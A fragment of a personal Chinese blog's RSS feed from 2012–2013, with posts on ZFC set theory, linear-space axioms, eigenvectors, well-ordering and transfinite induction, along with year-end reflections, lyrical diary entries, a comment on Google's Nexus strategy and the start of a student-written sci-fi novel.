Riemann genus是拓扑不变量，这是拓扑学进入数学主流的开始，从此，代数拓扑学和微分拓扑学逐步进入几乎所有 核心数学分支，成为二十世纪的数学Queen。代数拓扑学和微分拓扑学是流形思想的本质力量。 Riemann得到 定理：“2元多项式方程具有有理函数解的充要条件 是它的Riemann 面的genus为零”。这是流形思想 应用于 多项式函数解 一个起点； 也可以看作现代代数几何的一个起点。 Remann 1857年 用 Riemann 面 建立 Abel 积分的清楚理论。这是流形思想应用于分析，可看作大范围分析的一 个起点。 Riemann 1854 年《关于几何基础的假设》建立了明确的内蕴几何学.</description></item><item><title>ZFC 集合论中各公理的意义及作用</title><link>https://changkun.de/blog/posts/zfc-%E9%9B%86%E5%90%88%E8%AE%BA%E4%B8%AD%E5%90%84%E5%85%AC%E7%90%86%E7%9A%84%E6%84%8F%E4%B9%89%E5%8F%8A%E4%BD%9C%E7%94%A8/</link><pubDate>Thu, 31 Jan 2013 11:05:05 +0000</pubDate><guid>https://changkun.de/blog/posts/zfc-%E9%9B%86%E5%90%88%E8%AE%BA%E4%B8%AD%E5%90%84%E5%85%AC%E7%90%86%E7%9A%84%E6%84%8F%E4%B9%89%E5%8F%8A%E4%BD%9C%E7%94%A8/</guid><description>本文简要地介绍ZFC集合论中各公理的意义及作用。 首先，ZFC集合论中的公理大致分为3组：
1、外延公理。
2、子集公理模式、无序对公理、并集公理、幂集公理、无穷公理、替换公理模式。
3、正则公理(或 基础公理)、选择公理(记作 AC)。
下面是详细的说明：(iff 表示 当且仅当)
1、外延公理：对所有的集合$A$、$B$，A=B iff 对所有的x($x∈A$ iff $x∈B$)
分析：首先，左边 ( 即“ $A=B$ ”) 蕴含右边 ( 即 “对所有的 $x$ ($x∈A$ iff $x∈B$)”)是等词的性质；重要的是右边蕴含左边。
它说的是：一个集合完全由它的元素(即“外延”)确定，不依赖于其他任何东西(如形状等)。这体现了数学的“量”的特点，也表明了数学的“简单性”——研究集合的时候考虑且只考虑集合的元素。
它的作用是：把证明两个集合相等转化成了证明有相同的元素(这一点在做数学题时非常常用)，确保了第2组公理里断言存在的集合的唯一性。
2、这一组公理都是断言某种集合的存在性。
子集公理模式：
历史回顾：康托(Cantor)认为，“内涵公理模式”(即 对所有的性质$p(x)，{x：p(x)}$ 是集合)成立。
但这是错误的，1901年被“罗素(Russel)悖论”否定(罗素的反例是：取$p(x)$为“$x∉x$”)。
后来，人们把“内涵公理模式”修正为“子集公理模式”：
对所有的性质$p(x)$，对所有的集合A，${x∈A：p(x)}$是集合。
从而排除了悖论。
子集公理模式说的是：如果我们有一个现成的集合A，那么我们就可以拿A中的元素作为“材料”用性质$p(x)$造出一个新的集合${x∈A：p(x)}$，因为${x∈A：p(x)}$是A的子集，所以这个公理模式称作“子集公理模式”。
子集公理模式有重要的意义：它把“性质”实体化了。性质$p(x)$本是一个看不见摸不着的东西，但有了子集公理模式以后，我们用p(x)做成了一个集合${x∈A：p(x)}$(集合是我们的实体)，它可以从局部完全地刻画p(x)的特征。这一点是集合论能够成为数学的基础的最根本的原因，其它的大多数形式系统，不能够把性质实体化，不具备研究性质的能力，因而不能成为数学的基础。
子集公理模式的作用：从已知的集合构造出新的集合。
但是，子集公理模式只能从已知的集合得到它的子集，当我们一无所有的时候，我们能得到什么呢？
首先，我们用逻辑公理能证明：存在$x(x=x)$。也就是说集合是存在的。
我们用某个存在的集合A，利用子集公理模式，可知“${x∈A：x≠x}$是集合”，这个集合就是∅。
但是，对∅使用子集公理模式，我们再也得不出新的集合，因为∅里没有我们想要的“建筑材料”。
所以，要想实现从无到有的突破，我们还需要新的公理。
无序对公理：对所有的集合$A、B，{A，B}$是集合。
有了这个公理以后，我们可以知道 ${∅}$、${{∅}}$、${{{∅}}}$、${∅, { ∅ }}$ 等都是集合。
但是，我们只能得到一元集或二元集，${∅，{∅}，{{∅}}}$是不是集合，我们无从得知。
并集公理：对所有的集合A，${x：存在B∈A，使得x∈B}$ 是集合(记作$∪A$)。
有了并集公理以后，我们可以知道 ${∅，{∅}，{{∅}}}=∪{{∅，{∅}}，{{{∅}}}$ 是集合。
我们还可以证明交集定理：对所有的非空集合$A，∩A={x: 对所有的 B∈A, x∈B}$是集合。
有了并集公理之后，我们可以构造各式各样的集合。
幂集公理：对所有的集合A，${x：x是A的子集}$是集合(记作P(A))。
这个公理可以以更快的速度(指数速度)形成新的集合。
在外延公理的基础上，有了子集公理模式、无序对公理、并集公理和幂集公理以后，我们就可以适当地展开数学了：
首先是有序对的概念：
有序对定理：对所有的集合$a、b，&amp;lt;a，b&amp;gt;={{a}，{a，b}}$是集合。</description></item><item><title>谈线性空间定义中加法交换律独立性</title><link>https://changkun.de/blog/posts/%E8%B0%88%E7%BA%BF%E6%80%A7%E7%A9%BA%E9%97%B4%E5%AE%9A%E4%B9%89%E4%B8%AD%E5%8A%A0%E6%B3%95%E4%BA%A4%E6%8D%A2%E5%BE%8B%E7%8B%AC%E7%AB%8B%E6%80%A7/</link><pubDate>Wed, 26 Dec 2012 17:21:21 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%B0%88%E7%BA%BF%E6%80%A7%E7%A9%BA%E9%97%B4%E5%AE%9A%E4%B9%89%E4%B8%AD%E5%8A%A0%E6%B3%95%E4%BA%A4%E6%8D%A2%E5%BE%8B%E7%8B%AC%E7%AB%8B%E6%80%A7/</guid><description>前阵子看线性空间定义的时候无意间注意到定义中的加法交换律实际上是可以由其他七条证明出来的。
我们先明确课本上的定义：
定义：设V是一个非空集合，K是一个数域。又设：
（i）（定义加法）在V中定义了一种运算，称为加法。即对V中任意两个元素a和b，都按某一法则对应于V内唯一确定的一个元素，记为a+b；
（ii）（定义数乘）在K中的数与V的元素间定义了一种运算，称为数乘。即对V中任意元素a和数域K中任意数k，都按某一法则对应于V内唯一确定的一个元素，记为ka；
如果加法与数乘满足下面列出的八条运算法则，那么称V是数域K上的一个线性空间。
（1）（加法交换律）对任意的a,b属于V，a+b=b+a；
（2）（加法结合律）对任意的a,b,c属于V，a+(b+c)=(a+b)+c；
（3）（存在零元）存在一个元素0属于V，使对一切a属于V，有a+0=a；
（4）（存在负元）对任一a属于V，都存在b属于V使a+b=0。
（5）（数乘单位元）数域中的数1，有1*a=a；
（6）（数乘结合律）对于任意的k,l属于K，a属于V，有(kl)a=k(la)；
（7）（对数乘加法的分配律）对于任意的k,l属于K，a属于V，有(k+l)a=ka+la；
（8）（数乘对加法的分配律）对于任意的k属于K，a,b属于V，有k(a+b)=ka+kb；
实际上我们可以利用（2）~（8）来证明那（1），也就是说（1）并不是独立的公理。 给出新的定义：
定义：设V是一个非空集合，K是一个数域。又设：
（i）（定义加法）在V中定义了一种运算，称为加法。即对V中任意两个元素a和b，都按某一法则对应于V内唯一确定的一个元素，记为a+b；
（ii）（定义数乘）在K中的数与V的元素间定义了一种运算，称为数乘。即对V中任意元素a和数域K中任意数k，都按某一法则对应于V内唯一确定的一个元素，记为ka；
如果加法与数乘满足下面列出的八条运算法则，那么称V是数域K上的一个线性空间。
（1）（加法结合律）对任意的a,b,c属于V，a+(b+c)=(a+b)+c；
（2）（存在零元）存在一个元素0属于V，使对一切a属于V，有a+0=a；
（3）（存在负元）对任一a属于V，都存在b属于V使a+b=0。
（4）（数乘单位元）数域中的数1，有1*a=a；
（5）（数乘结合律）对于任意的k,l属于K，a属于V，有(kl)a=k(la)；
（6）（对数乘加法的分配律）对于任意的k,l属于K，a属于V，有(k+l)a=ka+la；
（7）（数乘对加法的分配律）对于任意的k属于K，a,b属于V，有k(a+b)=ka+kb；
我们的目的是证明加法的交换律，我们先来证明几个预备定理：
定理-1：零元是唯一的。
证明：设有两个零元o_1,o_2；则 o_1+o_2=o_1 o_2+o_1=o_2 则o_2+o_1+o_1+o_2=o_2+o_1 o_2+o_1+o_2=o_2+o_1 o_1+o_2+o_2+o_1=o_1+o_2 (未证完)
定理0：负元是唯一的，并记a的负元为-a
证明：设b,c均为a的负元，则a+b=0,a+c=0; a+b=a+c 则0+b=0+c 则0b+1b=0c+1c 注：这里虽然用到了定理1，但是定理1的证明是独立于定理0的。 则(0+1)b=(0+1)c 则b=c。
定理1：0a=0；
证明：0a+a=0a+1a=(0+1)a=1a=a； 再两边分别从右边加-a，即0a+a+(-a)=a+(-a)； 所以0a=0。
定理2：(-1)a=-a；
证明：a+(-1)a=1a+(-1)a=(1+(-1))a=0a=0， 故(-1)a=-a。
定理3：(-1)a的负元为a。
证明：-(-1)a=-((-1)a)=(-1)((-1)a)=((-1)(-1)a)=1a=a
现在证明加法交换律：
由（7）我们有：(-1)(a+b)=(-1)a+(-1)b。 在上式右边依次加b, a 则 (-1)(a+b)+b+a = (-1)a+(-1)b+b+a = (-1)a+((-1)b+b)+a = (-1)a+0+a = (-1)a+a = 0。 则(-1)(a+b)的负元为(b+a)，故记b+a=-(-1)(a+b)=(-1)(-1)(a+b)=a+b 故 a+b=b+a。</description></item><item><title>为什么要有特征值和特征向量</title><link>https://changkun.de/blog/posts/%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E6%9C%89%E7%89%B9%E5%BE%81%E5%80%BC%E5%92%8C%E7%89%B9%E5%BE%81%E5%90%91%E9%87%8F/</link><pubDate>Sun, 16 Dec 2012 17:59:00 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E6%9C%89%E7%89%B9%E5%BE%81%E5%80%BC%E5%92%8C%E7%89%B9%E5%BE%81%E5%90%91%E9%87%8F/</guid><description>迷惑很久，终于想通。 其实是一种数据的处理方法，可以简化数据。矩阵乘特征向量就是在其方向的投影。这点类似于向量点积既是投影。 通过求特征值和向量，把矩阵数据投影在一个正交的空间，而且投影的大小就是特征值。这样就直观体现了数据的基本特征。 最大特征值并不是说数据在所有方向的投影的最大值，而仅限于正交空间的某一方向。 至于为什么求出来的特征向量是正交的，可以证明。 有没有其他的正交空间，一般矩阵，满足满秩，只有一个这样的空间。 会不会有更好的空间来体现数据的特征，一般来说，正交空间就很好，不排除特殊应用需要非正交的空间，可能会更好。</description></item><item><title>2012 年终总结</title><link>https://changkun.de/blog/posts/2012-summary/</link><pubDate>Sat, 15 Dec 2012 21:06:06 +0000</pubDate><guid>https://changkun.de/blog/posts/2012-summary/</guid><description>（一）上半年、 一年前我们在高考的冲刺中追逐着，机械性的高三没什么可总结。
六月份的终点看昨天的我们走远了，在命运广场中央等待着。
那模糊的肩膀，越奔跑越渺小。
曾经并肩前往的伙伴，在举杯后都走散。
亲爱的朋友们，你们如今过得可好？
（二）下半年、 身为一个十足的乡巴佬，初入大学的时候确实比较稚塄，国庆的时候说过一些蠢话干过一些蠢事。
这些经历我相信我不会从大脑中删除，它们将成为我接下来四年的警示。
国庆的时候和朋友们的峨眉之行确实是难得的经历，虽然口头说说这辈子再也不去那种地方，若是还有机会，我绝对义无反顾的要登顶。
大学正式开课后非常天真的加入了三个够我忙一个学期的“地方”。但是我并不后悔。虽然在如此忙碌的环境下，大学里的效率还算是挺高的，预计完成的基本上完成了，总体来说我还是比较满意的。
青春是我们一生中最美丽的季节，充满诗意而不缺乏拼搏的激情，时尚浪漫而又饱含奋斗的艰辛。
我们正直青春年华，待我们回首往事的时候，不能因为碌碌无为而悔恨。
青春永远是美好的，可是真正的青春只属于那些永远力争上游的人，永远积极并谦虚的人。
我告诉自己，只要你是金子，迟早是会发光的。
只要你斗志昂扬的面对生活，你就会有所收获。
路漫漫其修远兮，吾将上下而求索。
青春是学习的季节，青春是奋斗的岁月。
不要停止前进的步伐，因为青春的路正长。
人生没有彩排，更不会像剧本一样可以删减。
对自己负责，对自己的人生负责。
毕竟带领我们走向成功的，只有我们自己。
抓住青涩的青春，让人生留下永恒的光辉。
附 1、这学期的读书进度：
《数学分析讲义（陈天权）》 第二次阅读 100% 进一步理解。
《数学分析教程（史济怀）上》 第二次阅读 100% 进一步理解。
《程序设计引导及在线实践》 100% 较详细的了解C。
《数学之美》 100% 数学确实很美。
《思考的乐趣》 100% 思考才是最大的乐趣。
《数学：确定性的丧失》 第二次阅读 100% 有空再读一遍，这书写的太棒了。
《悖论简史》 100% 这书真心不错。
《Photoshop图层与通道艺术》 100%
《完美的证明》 100%
《数学世纪——过去100年间30个重大问题》 100%
《PhotoshopCS完美修图》 100%
《数码单反摄影必学300招》 100%
《After Effects CS5完全学习手册》 100%
《高等数学实验》 100%
《数学建模案例》 100%
《数学建模的方法内容及其意义》 100%
《数据处理方法》 100%</description></item><item><title>一个人的锦都</title><link>https://changkun.de/blog/posts/%E4%B8%80%E4%B8%AA%E4%BA%BA%E7%9A%84%E9%94%A6%E9%83%BD/</link><pubDate>Tue, 13 Nov 2012 20:04:01 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%B8%80%E4%B8%AA%E4%BA%BA%E7%9A%84%E9%94%A6%E9%83%BD/</guid><description>序 我不确定我能否写完这篇已经构思很久了的日志，但是不可否认的一点是：我的确动“笔”了。
一、你站在旧时光里。 如梦的舞台， 无意注入迷茫的情绪。 我躲闪你温情的目光， 嘻笑着远离。
浮生的定格， 无法挽留最终的别离。 我高举苍白的灵魂， 嘻笑着远离。
你又来倾听， 却分辨不出那歌声里， 印染着，被诅咒过的旋律。
红酒里的诱惑，透明杯的高贵。 纯情的微笑，优雅的虚伪。
美丽的琥珀，远去的眼泪，孤独的琥珀，幽幽的轮回。
二、模糊了我的信仰。 忘不了那片光。直视心房。总以为能彻底忘记。却断断续续。 如果有人深深看尽我毫无防备的眼底，我会请他告诉你，那里面住着你。 汇聚成漫长交缠的记忆，我不怕威胁不怕牺牲，不怕独自一人走到荒芜人际的城里。 我怕分开怕伤害，怕漆黑夜里一个人想你。
我想象，爱情不会轻易悲伤，所以一切都是幸福的模样， 爱情简单的生长，依然随时可以为你疯狂。 爱情怎么会有沧桑，我们还是年轻的风光，爱情在那个地方，依然还有人在那里游荡。
人来人往。
三、旧时光。 那些来时所经历的所有浩劫都是成长的祭奠，它教会我迅速成长，然后勇敢。
我开始用整段整段的时间来记忆起那些旧时光，然后开始恍然。恍若那些旧时光已经能够过去很久很久。 关于那些画面，他所有的背景都是被定义黑白，它的所有名字都被定义曾经。
十一月那些景城里没有的雪，灰黑色的夕阳，那些掠影般逝去的流年，如同老屋阁楼角落里蒙上尘埃的盒子。 残阳浅浅的蒸腾了潮湿腥闷的气息以及纳西浮光掠影般逝去的时光。记忆被拉扯，轮回。其实我们一直没遗忘过什么。
我想给少年时的你一个拥抱，我想告诉你请相信一切都会过去的。 你曾那么的不知所措，对这个世界怀疑、心冷。还好还好，都过去了不是么。 我们都心存感激，感谢他们教会的，虽有伤害，但伤口总有愈合的一天。成长是必然的。
我们一直都在行走，无法停止。那些回首就可以看到的来时的路，给我们安慰与勇气。
美好，终究浓缩成今天的回忆。 无奈，阻挡不了时间匆忙的步履。 精彩，拼凑成明天的历史。 执着，打破岁月侵蚀的痕迹。
四、我的脑海里。 回忆是桥，却是通往寂寞的牢。 常听人谈：你没经历过，是体会不到这种感觉的。是呢。现在终于了解到，以往的他们是何等的痛苦， 以往的他们为什么会泪流成河。
我的夜晚，生活在残留着浓烈现代气息的悠闲的城市。 我能看见锦城广场的白鸽惊起，掠过不可一世的平顶。 我能听到空城的颂歌从奏响到寂静无声息。
我能陪着这座城慢慢睡着，等待地球再一个自转， 睁眼。
雾散，梦醒。
我看见真实。</description></item><item><title>谈谈Google和Android</title><link>https://changkun.de/blog/posts/%E8%B0%88%E8%B0%88google%E5%92%8Candroid/</link><pubDate>Thu, 08 Nov 2012 06:08:51 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%B0%88%E8%B0%88google%E5%92%8Candroid/</guid><description>谷歌不像苹果，苹果自己就是手机厂商，直接管控手机的每一个细节以保证最终用户的体验，而谷歌自己不生产手机，很多手机厂商生产使用他操作系统的手机，那他怎么保证用户对Android手机能有好的印象？会不会像“超级本”一样良莠不齐、一什么毁了一锅汤？谷歌的手段就是直接管控亲儿子——Nexus系列手机。
Nexus系列完全按谷歌的要求进行设计、生产、订价和销售，原代工品牌极其弱化。其作用有两个：
第一就是树立一个品质配置标杆，告诉世界 Android 手机到底应该什么样子、什么配置、用户体验应该是什么样的。 第二个作用就是树立一个价格标杆，Android 手机倒底应该卖多少钱。
这两个标杆一立，其它厂商就有了约束，在出手机的时候配置不敢再做得太低，否则用户体验不好骂的就是你而不是谷歌，价格也不敢定的太高，亲儿子在此你定高了怎么卖？所以Nexus就像Android机海里的核心和风向标，谷歌大旗一挥，整个阵营就得向哪里冲锋。</description></item><item><title>又是一月流阙时</title><link>https://changkun.de/blog/posts/%E5%8F%88%E6%98%AF%E4%B8%80%E6%9C%88%E6%B5%81%E9%98%99%E6%97%B6/</link><pubDate>Wed, 01 Aug 2012 19:52:39 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%8F%88%E6%98%AF%E4%B8%80%E6%9C%88%E6%B5%81%E9%98%99%E6%97%B6/</guid><description>生活在呼啸中吼过，是谁那么慌，剪破七月的时光？
一、看那场，似是繁华 从哪儿开始呢，
距离那场所谓的转折点已经过去差不多两个月了。
不过似乎我的人生并没有迈向我所期望的人生轨迹，
相反，
似乎我心头所压抑的些许东西释放得差不多了。
我很奇怪这样一个问题，
寂寞生寥，苦寒三载。晨稀夜繁，何者这般？
你是否觉得，青春就是你在对的时间做大人们认为可笑的疯疯癫癫？
你是否觉得，青春就是你在错的时间做大人们认为不该的稀稀落落？
你是否觉得，青春就是你希望拥有的和渴望拥有的却并不能虚情假意的感动？
谁都不需要解释什么，
承受背叛和折磨。
二、不是不爱，而是，心呆，心不在 我一直很想找个时间来谈谈我的情感。
今天是个机会，
但是我希望我的你看完后不要回复我这篇日志，
因为我们把它藏在心里不是挺好的么？
感觉太坏，似乎这次的独白，
会成为我们阻碍吗？
我甩甩我的双手，天真早已不在。
我头顶上的“无奈”独自享受着它寂寞的姿态，
我却学不来。
我的眼睛在说谎，假装很温柔，却在离去远去的那一刻汹涌。
那不变的熟悉，心却拉开了保持靠近的距离。
需要异常的冷静，不留选择的余地。
三、涩涩 敲打键盘的声音就像是闹钟在警告我：
嗨，你的青春在倒计时。
这是无病呻吟。
岁月流砂过指尖，青春只是未老容颜。
你好，我的三分之一。
第一次官方的拒绝，
会被发现吗？呵呵。
四、一个坚强的人的背后，到底能埋藏多少脆弱？ 这个问题靠谱吗？
不靠谱。
虚伪至极。
我就像一个小朋友一样，在迷茫的寻走，总要有人来点醒，不然我便会渐渐迷失。
这是实话。
是什么给我面对未来不可预知的资本？
我是一个双重性格的人，
我有沉默寡言的一面，
也有活泼开朗的一面，
黑色和白色恰好完全的诠释着我。
大家好，我是4945。谁谁谁，我来了，等着。</description></item><item><title>文艺还是苦逼 确实不是一个问题</title><link>https://changkun.de/blog/posts/%E6%96%87%E8%89%BA%E8%BF%98%E6%98%AF%E8%8B%A6%E9%80%BC%E7%A1%AE%E5%AE%9E%E4%B8%8D%E6%98%AF%E4%B8%80%E4%B8%AA%E9%97%AE%E9%A2%98/</link><pubDate>Sun, 01 Jul 2012 18:51:31 +0000</pubDate><guid>https://changkun.de/blog/posts/%E6%96%87%E8%89%BA%E8%BF%98%E6%98%AF%E8%8B%A6%E9%80%BC%E7%A1%AE%E5%AE%9E%E4%B8%8D%E6%98%AF%E4%B8%80%E4%B8%AA%E9%97%AE%E9%A2%98/</guid><description>爱已不在这里，我却还没走脱。
一、 高考完这一个月貌似什么正经事情都没做。
以前说的很多事情现在看来都变得如此的遥不可及。
比方说第一件事，我高考前说是找父母学摄影的，现在略有入门，不过没有完全实施。
老爸说，摄影是一门和人打交到的职业。
也苦笑我自己。
再来看第二件事情。
学c。
也不知道当时怎么想的现在看来我得多加好几门了？
我嘴上答应但心里还是很痛。
擦掉眼泪很容易，但却无法擦掉回忆。
二、 都没录取就复读是一个很严峻的问题。
这世界太多来去无常。
我爸如是说。
两天的争论。
我被击溃得一无所有。
近乎所有的感性都化为理性，走出了那个凭着感性生活的世界。
作为一个彻头彻尾的理性人，看看脚下即将有过的独木桥，是入水？是狂奔？
谁谁谁你对，我笑谁可悲。
吾皇万岁，万万岁。
三、 相伴到永久，是幻灭童梦。
现实教会了要往前游。
吉他还是不学了。
自从经历过那些以后。
何必让青春自己做主。
四、 今天吃饭的时候和爸爸聊到一个有关逻辑黑洞的问题，准确的说是多重陷阱的问题。
“我是一个罪犯，现在你已经在我的控制下。
你面前有三条路，
一条，被我枪杀
二条，选择第一瓶药，吃下，那么我吃下第二瓶。
三条，选择第二瓶药，吃下，那么我吃下第一瓶。
两瓶药有一瓶是毒药，如果你没死就可以走了。
两瓶药我当然知道哪瓶有毒。
现我设陷阱，我特别拿出一瓶，告诉你，这瓶是没有毒的。”
谈什么风格。
论什么独特。
于是顺便就聊到了关于我和罗杰两人的能力问题。
我是一张写得乱七八糟的白纸。
而他是一张刚刚写下一点字的白纸。
我想说的是，
白纸或许是白纸，而这张白纸可是在狂风暴雨中等待墨水的洗礼的白纸。
现实教会了人往前走。
却弄丢了朋友。
五、 考前找工作想得挺理想的。
琐碎的羁绊还是牵绊。
滋长不满。
关于工作前些日子有和亲戚朋友聊过这方面的问题。
我记得是在微博上见过还是哪里见过。
把自己喜欢做的事情做好了不算什么。
把自己不喜欢的事情做好了那才叫人才。
确实，这个话当时看的时候觉得挺**的，呵呵。
可能是时光让耳朵变得宽容。
同一句话从别人口里说出。
反映出不同的想法，不同的理解，不同的转变。
这些感触鼓动我的人生在某些时候变得更加的与众不同，难以捕捉。
所以我淡化了专业的想法，全部填了服从。
万人敬仰，举世无双。
最后一样阵亡。
六、 计划赶不上变化是一个恒古不变的道理。
口口声声吼着减肥。
行动从没降临。
忽然你哭了。
问你在哭什么？
不要再回味过去的对错。</description></item><item><title>谈谈良序原理</title><link>https://changkun.de/blog/posts/%E8%B0%88%E8%B0%88%E8%89%AF%E5%BA%8F%E5%8E%9F%E7%90%86/</link><pubDate>Thu, 28 Jun 2012 05:03:03 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%B0%88%E8%B0%88%E8%89%AF%E5%BA%8F%E5%8E%9F%E7%90%86/</guid><description>所谓良序原理事实上就是这么个东西：任何集合上都可以构建一个良序关系。
一、所谓那些良基性质。 良基的性质是很有用的。我们都知道数学归纳法，但是数学归纳法只能归纳下标为自然数的东西；
而用良基的性质，就可以弄出来更强大的transfinite induction（超限归纳法），可以归纳下标为任意序数的东西。
一个良基的全序关系就叫良序关系。常见的实数上的≤就是良序关系。
超限归纳法：令“＜”为集盒W上的一个严格良序关系，phi(w)是关于某w∈W的一个性质。
如果对于所有w，都满足：“假如对所有x＜w，phi(x)都为真，那么phi(w)必为真”，那么对于所有w∈W，phi(w)都必为真。
这个跟我们所熟悉的数学归纳法有点不同，但是也有相似的地方。证明如下：
已知对于所有w，都满足：“假如对所有x小于w，phi(x)都为真，那么phi(w)必为真”。
假设存在一个w_0其phi(w_0)为假，那么必有w_1＜w_0其phi(w_1)为假&amp;hellip;如此下去，
{w: phi(w)为假}这个集盒就没有最小的元素，违反了良基性质。证完。
用超限归纳法，我们就可以对一个函数进行recursive definition（递归定义），
即f(x)的值由x和{有序对&amp;lt;x',f(x')&amp;gt;: x'＜x} 共同来定义。
即，我们递归地定义一个G(x, {&amp;lt;x',f(x')&amp;gt;: x'＜x})，再令f(x)=G(x, {&amp;lt;x',f(x')&amp;gt;: x'＜x})。
这是可以通过良序性和超限归纳法做到的。
可以证明以下三种情况必有且只有一种为真：
{x: x&amp;lt;w}在f的定义域里且f(w)=G(w, {&amp;lt;x',f(x')&amp;gt;: x'＜w})；
{x: x&amp;lt;w}在f的定义域里但w不在f的定义域里，且G(w, {&amp;lt;x',f(x')&amp;gt;: x'＜w})未定义；
w不在f的定义域里且存在一个x＜w也不在f的定义域里。
证明如下：
如果一个定义域为W的子集的函数 h 符合
“w ∈ Dom(h) =&amp;gt; 所有＜w 的 w'∈Dom(h)， 且 h(w)=G(w, {&amp;lt;x',f(x')&amp;gt;: x'＜w})”
我们就把 h 叫做一个 “好”的函数。
用超限归纳法易得：如果 h 和 h' 都是好的，且w 在它们定义域的交集里，那么必有h(w)=h'(w)。
所以，令 f 为所有的好的函数的并集（即，只有有一个好的函数h的定义域包含了w，就有f(w)=h(w)），则 f 自己也是一个好的函数。</description></item><item><title>X-2222 计划</title><link>https://changkun.de/blog/posts/x-2222-%E8%AE%A1%E5%88%92/</link><pubDate>Thu, 21 Jun 2012 13:48:00 +0000</pubDate><guid>https://changkun.de/blog/posts/x-2222-%E8%AE%A1%E5%88%92/</guid><description>前言 这篇小说是高一下学期我和高中同学补子畅两人一起合写的一本生化危机类题材的小说，后来他决定不写的时候，我曾经纠结过一段时间要不要继续写下去，但后来由于学业的关系最终还是放弃了。
关于整片小说的设定，是基于我土生土长的县城「芷江」构建的。例如小说中的「步行街」、「一中」等等，都是真实存在的。男主角的名字一开始他就说定为「欧龙崎」，也不知道后来我怎么同意的来着。总而言之，我现在搬运出来就纯粹当做是一种对自己年轻时的那种创造力表示致敬吧。
第一话 入学（1） 2222－2－20 9：00
“嗷～”欧龙崎打了个大大的哈欠。 单手支撑着脑袋，隔着厚厚的安全玻璃看着磁悬浮列车外的景色。一个晚上的奔波，欧龙崎终于控制不住自己的脑袋，整个头很快的垂了下去，可惜由于重心不稳再加上万有引力的作用。欧龙崎的脑袋重重地撞在了连子弹都打不穿的强化玻璃上。 “啊…”欧龙崎这一叫似乎引起了其他乘客的不满，纷纷看着他。欧龙崎也很不好意思地闭上了嘴揉着前额闷叫着。 稍微舒服了点后，欧龙崎这才发现离江芷县只有不到5分钟的路程了，他从随身携带的包里拿出了一个长方形的东西…一面粉红色的镜子。 欧龙崎拿着镜子左看看右看看，最后满意地合上了镜子。“这个小伙子还是蛮帅的嘛…”欧龙崎自恋道。 旁边的乘客悲剧的瞪的瞪眼，呕吐的呕吐，无视的无视，恨不得马上和这个小伙说永别。但是仔细一看，其实他也说的不假，人长得的确有那么几分帅气，标准而修长的脸，当今最流行的侧分头遮住了一只眼睛，另一只半睁的眼睛透露出冷酷，但同时也隐隐透露了一颗坚强的心。 5分钟后，悬浮列车停在了【江芷市】。 “各位乘客，你们的目的地已经到达。请携带好行李下站，切勿遗忘贵重物品……”甜美的女声从车内的广播中放出。 人潮涌动……这是欧龙崎下车后的第一印象，没想到一个偏僻的城市的生活水平会这么高啊。 从身上摸出一张卡片来，上面记录的是一个地址。准确地说，是自己的家在哪。 “【爵迹社区】12栋1923号？”什么鬼地方，没有任何印象。 拦下一辆出租车后把卡片递给司机看了一眼后就放回了挎包中。 奇怪，很奇怪。非常奇怪。 为什么老妈叫我到这里来读书？还抓着自己的把柄要挟自己说如果不答应就把自己的一些“英勇事迹”告诉小丽。没有办法，在老妈的要挟以及那一叠令人流口水的票子下，欧龙崎心动了。反正哪读书都是一样，有奖励何乐而不为？就这样，欧龙崎被他阴险狡猾的老妈推上了车。更可恶的是，一开始还以为是和老妈一起来。可谁知道老妈告诉他只有他一个人来的时候他气的险些吐血，他很怀疑老妈是不是没有事做故意整自己。欧龙崎阴着脸接过了一串钥匙和一张卡片，然后听着老妈的嘱咐……当他听见他们家在江芷居然有一套房子时他惊讶了，自己根本就没听说过江芷，又怎么会有房子？这一点让欧龙崎很怀疑，最后老妈用一堆的诱惑给糊弄了过去。现在再想想…很值得怀疑这是不是一个陷阱。 最后老妈看自己的眼神很是奇怪，怎么像是送别战士一样？呸…看来是自己想多了，上学又不是送死，搞那么恶心做什么啊。 … 看着眼前一栋栋高层的公寓，欧龙崎眼花了。 进入到12栋的电梯后…欧龙崎愣了愣，因为他发现他居然不知道自己到底该去几楼…当然聪明的他很快就注意到了房间名的特点，十九层，二十三号房间。 欧龙崎在众人的眼中尴尬地按下了最中间的楼层。 打开房门，干净的布局让欧龙崎一阵恶寒。这到底是谁打扫的？小心翼翼地打开电灯，亮了！有电。打开水龙头，有水！打开冰箱，靠，居然还有食物！而且是绝对新鲜的。 太强大了！老妈是不是脑子坏掉了？居然给这么好的条件来读书，现在欧龙崎不得不怀疑他老妈的智商起来。 欧龙崎这才发现他现在应该去报名了，可是依照他自己的生活习惯来看……那是不可能的！ 先玩他个半天再说。
江芷第一中学，全省5强中学，毕业的学生多数进入了各大医学、生物系的大学，而且大学毕业后就职率非常高，这样江芷一中就受到了很多望子成龙望女成凤的家长们的青睐。在欧龙崎眼里这就是一个普普通通的高中嘛，真不知道为什么一定要到这里来，真是的，连美女都没见到。 中午学校的人流真是不少，可唯一不入流的就是一位跨着挎包的的少年站在校门口东张西望，连保安都很怀疑他有什么不良的企图。 其实他真的有不良的企图…为了丰富自己的新高中生活，欧龙崎首先得看看这学校有没有看得入眼的雌性动物了。 眼睛瞥了瞥一位背面不错的女生…可是当她转过身来时欧龙崎震惊了…她的容貌不能用语言来形容。欧龙崎曾经看过一本《21～23世纪美女大全》那本书上排行第一人欧龙崎看了后久久不能入眠，连半夜都会被惊醒，然后整夜失眠。这种状况一直持续了一个多月，直到老妈带自己去看过了心理医生后才渐渐好转……欧龙崎现在回忆起了那位绝世大美女的名字了…她就叫凤姐，是200多年前的人。想起凤姐那惊天的笑容，欧龙崎感到一阵头皮发麻。看见眼前这位能与凤姐媲美的人后欧龙崎连忙转移目光。 突然，欧龙崎听见一声尖叫— “别跑！把钱包还给我！” 寻着声源看去，只见两个女生追逐着一个黑影，两旁的人纷纷让道，生怕惹火上身。两个女生明显跑不过黑影，双方的距离越拉越大。 抢劫？欧龙崎眼角微微一咪，在现在这个社会上还能看到抢劫不知是社会的失败还是当事人的失败。不过，唯一肯定的是。欧龙崎是要追上去的。 